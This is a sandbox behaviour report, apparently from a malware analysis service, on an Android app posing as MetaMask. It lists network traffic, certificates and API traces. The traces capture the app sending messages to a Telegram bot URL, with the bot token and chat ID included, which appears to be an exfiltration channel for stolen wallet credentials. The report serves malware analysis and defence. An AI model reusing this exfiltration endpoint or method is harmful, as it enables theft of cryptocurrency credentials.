        Feb 12, 2019 14:29:44.874497890 CET49826443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:44.897334099 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:44.915201902 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:44.915263891 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:44.915484905 CET49826443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:44.916649103 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:44.916695118 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:44.916748047 CET49826443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:44.950491905 CET49826443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:44.973913908 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:44.978512049 CET49826443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:44.978868961 CET49826443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:44.978967905 CET49826443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:44.979043007 CET49826443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:44.979247093 CET49826443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:44.979335070 CET49826443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:45.001429081 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:45.001465082 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:45.001594067 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:45.001786947 CET49826443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:45.001854897 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:45.001929998 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:45.025198936 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:45.096009016 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:45.096585035 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:45.096744061 CET49826443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:45.097331047 CET44349826216.58.201.202192.168.1.92
        Feb 12, 2019 14:29:45.138421059 CET49826443192.168.1.92216.58.201.202
        Feb 12, 2019 14:29:47.903265953 CET3295253192.168.1.928.8.8.8
        Feb 12, 2019 14:29:47.931133986 CET53329528.8.8.8192.168.1.92
        Feb 12, 2019 14:29:47.944055080 CET35794443192.168.1.92149.154.167.220
        Feb 12, 2019 14:29:47.987361908 CET44335794149.154.167.220192.168.1.92
        Feb 12, 2019 14:29:47.987555027 CET35794443192.168.1.92149.154.167.220
        Feb 12, 2019 14:29:47.993861914 CET35794443192.168.1.92149.154.167.220
        Feb 12, 2019 14:29:48.036845922 CET44335794149.154.167.220192.168.1.92
        Feb 12, 2019 14:29:48.037837029 CET44335794149.154.167.220192.168.1.92
        Feb 12, 2019 14:29:48.037883043 CET44335794149.154.167.220192.168.1.92
        Feb 12, 2019 14:29:48.037914991 CET44335794149.154.167.220192.168.1.92
        Feb 12, 2019 14:29:48.037945032 CET44335794149.154.167.220192.168.1.92
        Feb 12, 2019 14:29:48.037967920 CET44335794149.154.167.220192.168.1.92
        Feb 12, 2019 14:29:48.038073063 CET35794443192.168.1.92149.154.167.220
        Feb 12, 2019 14:29:48.154928923 CET35794443192.168.1.92149.154.167.220
        Feb 12, 2019 14:29:48.199593067 CET44335794149.154.167.220192.168.1.92
        Feb 12, 2019 14:29:48.224140882 CET35794443192.168.1.92149.154.167.220
        Feb 12, 2019 14:29:49.179877996 CET35794443192.168.1.92149.154.167.220
        Feb 12, 2019 14:29:49.258485079 CET44335794149.154.167.220192.168.1.92
        Feb 12, 2019 14:29:49.258685112 CET35794443192.168.1.92149.154.167.220
        Feb 12, 2019 14:29:54.064708948 CET35794443192.168.1.92149.154.167.220
        Feb 12, 2019 14:29:54.107880116 CET44335794149.154.167.220192.168.1.92
        Feb 12, 2019 14:29:54.108124971 CET35794443192.168.1.92149.154.167.220
        Feb 12, 2019 14:31:26.176995039 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.199577093 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.199779987 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.201848030 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.224972010 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.239702940 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.239746094 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.239974976 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.241223097 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.241259098 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.241460085 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.255225897 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.278467894 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.278666019 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.327908993 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.328710079 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.328938007 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.329622030 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.329658031 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.329808950 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.330697060 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.330739021 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.330895901 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.332168102 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.332222939 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.332387924 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.333791971 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.333964109 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.334060907 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.335391045 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.335433006 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.335614920 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.337332010 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.337373972 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.337661028 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.338676929 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.351530075 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.351573944 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.351723909 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.353199005 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.353240967 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.353435040 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.354554892 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.354597092 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.354785919 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.356168985 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.356211901 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.356421947 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.357944965 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.357986927 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.358192921 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.359471083 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.359513998 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.359653950 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.360791922 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.360833883 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.361023903 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.362384081 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.362421036 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.362562895 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.363956928 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.363998890 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.364284039 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.365475893 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.365515947 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.365711927 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:31:26.367214918 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.367250919 CET44349830216.58.201.202192.168.1.92
        Feb 12, 2019 14:31:26.367387056 CET49830443192.168.1.92216.58.201.202
        Feb 12, 2019 14:32:47.784895897 CET8043942216.58.201.196192.168.1.92
        Feb 12, 2019 14:32:47.826771021 CET4394280192.168.1.92216.58.201.196
        Feb 12, 2019 14:32:52.556735992 CET44354534216.58.201.196192.168.1.92
        Feb 12, 2019 14:32:52.556787014 CET44354534216.58.201.196192.168.1.92
        Feb 12, 2019 14:32:52.558521986 CET54534443192.168.1.92216.58.201.196
        Feb 12, 2019 14:32:52.581525087 CET44354534216.58.201.196192.168.1.92
        Feb 12, 2019 14:32:55.840939045 CET8046054172.217.18.227192.168.1.92
        Feb 12, 2019 14:32:55.886784077 CET4605480192.168.1.92172.217.18.227
        Feb 12, 2019 14:32:55.915003061 CET44354540216.58.201.196192.168.1.92
        Feb 12, 2019 14:32:55.956823111 CET54540443192.168.1.92216.58.201.196

        UDP Packets

        TimestampSource PortDest PortSource IPDest IP
        Feb 12, 2019 14:28:56.954956055 CET1547253192.168.1.928.8.8.8
        Feb 12, 2019 14:28:56.991811991 CET53154728.8.8.8192.168.1.92
        Feb 12, 2019 14:29:47.903265953 CET3295253192.168.1.928.8.8.8
        Feb 12, 2019 14:29:47.931133986 CET53329528.8.8.8192.168.1.92

        DNS Queries

        TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
        Feb 12, 2019 14:29:47.903265953 CET192.168.1.928.8.8.80x5accStandard query (0)api.telegram.orgA (IP address)IN (0x0001)

        DNS Answers

        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
        Feb 12, 2019 14:29:47.931133986 CET8.8.8.8192.168.1.920x5accNo error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)

        HTTPS Packets

        TimestampSource IPSource PortDest IPDest PortSubjectIssuerNot BeforeNot AfterJA3 SSL Client FingerprintJA3 SSL Client Digest
        Feb 12, 2019 14:29:44.916649103 CET216.58.201.202443192.168.1.9249826CN=*.googleapis.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=Google Internet Authority G3, O=Google Trust Services, C=USCN=Google Internet Authority G3, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2Wed Jan 23 10:14:00 CET 2019 Thu Jun 15 02:00:42 CEST 2017Wed Apr 17 11:14:00 CEST 2019 Wed Dec 15 01:00:42 CET 2021771,49195-49196-52393-49199-49200-52392-49161-49162-49171-49172-156-157-47-53,65281-0-23-13-5-11-10,29-23-24,0c60d01d600aacc2c04844595ce224279
        CN=Google Internet Authority G3, O=Google Trust Services, C=USCN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2Thu Jun 15 02:00:42 CEST 2017Wed Dec 15 01:00:42 CET 2021
        Feb 12, 2019 14:29:48.037967920 CET149.154.167.220443192.168.1.9235794CN=api.telegram.org, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=USCN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=USFri May 04 16:42:31 CEST 2018 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004Sat May 23 18:17:38 CEST 2020 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034771,49195-49196-52393-49199-49200-52392-158-159-49161-49162-49171-49172-51-57-156-157-47-53,65281-0-23-13-11-10,23-24-25,031010a807900df95eb46e153206784a8
        CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=USCN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=USTue May 03 09:00:00 CEST 2011Sat May 03 09:00:00 CEST 2031
        CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=USOU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=USWed Jan 01 08:00:00 CET 2014Fri May 30 09:00:00 CEST 2031
        OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=USOU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=USTue Jun 29 19:06:20 CEST 2004Thu Jun 29 19:06:20 CEST 2034
        Feb 12, 2019 14:31:26.241223097 CET216.58.201.202443192.168.1.9249830CN=*.googleapis.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=Google Internet Authority G3, O=Google Trust Services, C=USCN=Google Internet Authority G3, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2Wed Jan 23 10:14:00 CET 2019 Thu Jun 15 02:00:42 CEST 2017Wed Apr 17 11:14:00 CEST 2019 Wed Dec 15 01:00:42 CET 2021771,49195-49196-52393-49199-49200-52392-49161-49162-49171-49172-156-157-47-53,65281-0-23-35-13-5-16-11-10,29-23-24,0d8c87b9bfde38897979e41242626c2f3
        CN=Google Internet Authority G3, O=Google Trust Services, C=USCN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2Thu Jun 15 02:00:42 CEST 2017Wed Dec 15 01:00:42 CET 2021

        APK Behavior

        Simulated Events

        TypeData
        boot completed
        • -
        time tick
        • -
        incoming sms
        • 0123456789
        • this is a text message
        outgoing sms
        • 9876543210
        • thank you
        location change
        • 54.13
        • 12.14
        motion simulation
        • -
        incoming call
        • 0123456789
        outgoing call
        • 9876543210
        time tick
        • -

        Interacted Views

        View Data
        • Object: android.support.v7.widget.AppCompatButton{8a0b158 VFED..C.. .F...... 396,396-628,448 #7f070033 app:id/create_btn}
        • X: 512
        • Y: 446
        • Label: CREATE NEW VAULT
        API: android.net.ConnectivityManager->getActiveNetworkInfo at com.lemon.metamask.Util.Method.isNetworkAvailable:7 Show source
        NameTypeValue
        Return Valueandroid.net.NetworkInfo
        • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: c2:b1:a1:c8:51:6d, failover: false, available: true, roaming: false, metered: false]
        API: java.net.Socket-><init> at cz.msebera.android.httpclient.conn.MultihomePlainSocketFactory.connectSocket:66 Show source
        API: java.net.Socket-><init> at ..:2 Show source
        API: java.net.Socket-><init> at ..:7 Show source
        API: java.net.Socket-><init> at cz.msebera.android.httpclient.impl.client.ProxyClient.tunnel:135 Show source
        API: java.net.Socket-><init> at ..:2 Show source
        API: java.net.Socket-><init> at cz.msebera.android.httpclient.impl.pool.BasicConnFactory.create:25 Show source
        API: java.net.Socket-><init> at ..:2 Show source
        API: com.android.internal.policy.PhoneWindow->setContentView at com.lemon.metamask.Activity.CreateActivity.onCreate:4 Show source
        NameTypeValue
        p0android.support.v7.widget.FitWindowsLinearLayout
        • toString: android.support.v7.widget.FitWindowsLinearLayout{dfc2297 V.E...... ......I. 0,0-0,0 #7f07000a app:id/action_bar_root}
        API: android.support.v7.widget.FitWindowsLinearLayout->findViewById at com.lemon.metamask.Activity.CreateActivity.onCreate:4 Show source
        NameTypeValue
        p0java.lang.Integer
        • toString: 16908290
        NameTypeValue
        Return Valueandroid.support.v7.widget.ContentFrameLayout
        • toString: android.support.v7.widget.ContentFrameLayout{ae21269 V.E...... ......I. 0,0-0,0 #1020002 android:id/content}
        API: android.support.v7.widget.FitWindowsLinearLayout->findViewById at com.lemon.metamask.Activity.CreateActivity.onCreate:4 Show source
        NameTypeValue
        p0java.lang.Integer
        • toString: 16908290
        NameTypeValue
        Return Valueandroid.support.v7.widget.ContentFrameLayout
        • toString: android.support.v7.widget.ContentFrameLayout{ae21269 V.E...... ......I. 0,0-0,0 #1020002 android:id/content}
        API: com.lemon.metamask.Activity.MainActivity->getSystemService at com.lemon.metamask.Util.Method.isNetworkAvailable:3 Show source
        NameTypeValue
        p0java.lang.String
        • toString: connectivity
        NameTypeValue
        Return Valueandroid.net.ConnectivityManager
        • toString: android.net.ConnectivityManager@6e63c4e
        API: android.net.ConnectivityManager->getActiveNetworkInfo at com.lemon.metamask.Util.Method.isNetworkAvailable:7 Show source
        NameTypeValue
        Return Valueandroid.net.NetworkInfo
        • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: c2:b1:a1:c8:51:6d, failover: false, available: true, roaming: false, metered: false]
        API: android.net.NetworkInfo->isConnected at com.lemon.metamask.Util.Method.isNetworkAvailable:11 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: true
        API: cz.msebera.android.httpclient.HttpHost->toURI at com.loopj.android.http.AsyncHttpClient$3.process:30 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@b2958e1
        API: cz.msebera.android.httpclient.HttpHost->getHostName at com.loopj.android.http.AsyncHttpClient$3.process:30 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: api.telegram.org
        API: com.lemon.metamask.Activity.MainActivity$4->getUseSynchronousMode at com.loopj.android.http.AsyncHttpResponseHandler.sendMessage:1 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: com.lemon.metamask.Activity.MainActivity$4->getUseSynchronousMode at com.loopj.android.http.AsyncHttpResponseHandler.sendMessage:1 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: java.lang.String-><init> at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@22deaa4
        • $1: Server: nginx/1.12.2
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@637369c
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Server: nginx/1.12.2
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Server: nginx/1.12.2
        API: java.lang.String-><init> at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@c76120e
        • $1: Date: Tue, 12 Feb 2019 13:29:49 GMT
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@3723e46
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Date: Tue, 12 Feb 2019 13:29:49 GMT
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Date: Tue, 12 Feb 2019 13:29:49 GMT
        API: java.lang.String-><init> at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@1ea3c
        • $1: Content-Type: application/json
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@783f8d2
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Type: application/json
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Type: application/json
        API: java.lang.String-><init> at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@faed44b
        • $1: Content-Length: 243
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@829f0ff
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Length: 243
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Length: 243
        API: java.lang.String-><init> at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@a2654e6
        • $1: Connection: keep-alive
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@41e4354
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection: keep-alive
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection: keep-alive
        API: java.lang.String-><init> at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@ec5167d
        • $1: Access-Control-Allow-Origin: *
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@783f8d2
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Origin: *
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Origin: *
        API: java.lang.String-><init> at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@fe9da40
        • $1: Access-Control-Allow-Methods: GET, POST, OPTIONS
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@1b0b593
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Methods: GET, POST, OPTIONS
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Methods: GET, POST, OPTIONS
        API: java.lang.String-><init> at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4e2771f
        • $1: Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@a4a32fc
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
        API: java.lang.String-><init> at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4c024ca
        • $1: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@42b9d01
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
        API: com.lemon.metamask.Activity.MainActivity$4->getUseSynchronousMode at com.loopj.android.http.AsyncHttpResponseHandler.sendMessage:1 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: com.lemon.metamask.Activity.MainActivity$4->getUseSynchronousMode at com.loopj.android.http.AsyncHttpResponseHandler.sendMessage:1 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.client.protocol.RequestAuthCache->getClass at cz.msebera.android.httpclient.client.protocol.RequestAuthCache.<init>:4 Show source
        NameTypeValue
        Return Valuejava.lang.Class
        • toString: class cz.msebera.android.httpclient.client.protocol.RequestAuthCache
        • getName: cz.msebera.android.httpclient.client.protocol.RequestAuthCache
        API: cz.msebera.android.httpclient.client.protocol.RequestTargetAuthentication->getClass at cz.msebera.android.httpclient.client.protocol.RequestAuthenticationBase.<init>:4 Show source
        NameTypeValue
        Return Valuejava.lang.Class
        • toString: class cz.msebera.android.httpclient.client.protocol.RequestTargetAuthentication
        • getName: cz.msebera.android.httpclient.client.protocol.RequestTargetAuthentication
        API: cz.msebera.android.httpclient.client.protocol.RequestProxyAuthentication->getClass at cz.msebera.android.httpclient.client.protocol.RequestAuthenticationBase.<init>:4 Show source
        NameTypeValue
        Return Valuejava.lang.Class
        • toString: class cz.msebera.android.httpclient.client.protocol.RequestProxyAuthentication
        • getName: cz.msebera.android.httpclient.client.protocol.RequestProxyAuthentication
        API: cz.msebera.android.httpclient.client.protocol.RequestClientConnControl->getClass at cz.msebera.android.httpclient.client.protocol.RequestClientConnControl.<init>:4 Show source
        NameTypeValue
        Return Valuejava.lang.Class
        • toString: class cz.msebera.android.httpclient.client.protocol.RequestClientConnControl
        • getName: cz.msebera.android.httpclient.client.protocol.RequestClientConnControl
        API: cz.msebera.android.httpclient.message.BasicRequestLine->getMethod at cz.msebera.android.httpclient.client.protocol.RequestClientConnControl.process:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@c1438e0
        API: cz.msebera.android.httpclient.message.BasicRequestLine->getMethod at cz.msebera.android.httpclient.client.protocol.RequestClientConnControl.process:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@c1438e0
        API: cz.msebera.android.httpclient.message.BasicRequestLine->getMethod at cz.msebera.android.httpclient.client.protocol.RequestClientConnControl.process:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@c1438e0
        API: cz.msebera.android.httpclient.message.BasicRequestLine->getMethod at cz.msebera.android.httpclient.client.protocol.RequestClientConnControl.process:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@c1438e0
        API: cz.msebera.android.httpclient.message.BasicRequestLine->getUri at cz.msebera.android.httpclient.client.protocol.RequestClientConnControl.process:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        API: cz.msebera.android.httpclient.HttpVersion->getProtocol at cz.msebera.android.httpclient.client.protocol.RequestClientConnControl.process:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@a81a21d
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.client.protocol.RequestClientConnControl.process:14 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@c1438e0
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.client.protocol.RequestClientConnControl.process:14 Show source
        NameTypeValue
        p0java.lang.String
        • toString: /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        API: cz.msebera.android.httpclient.HttpVersion->getProtocol at cz.msebera.android.httpclient.client.protocol.RequestClientConnControl.process:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@a81a21d
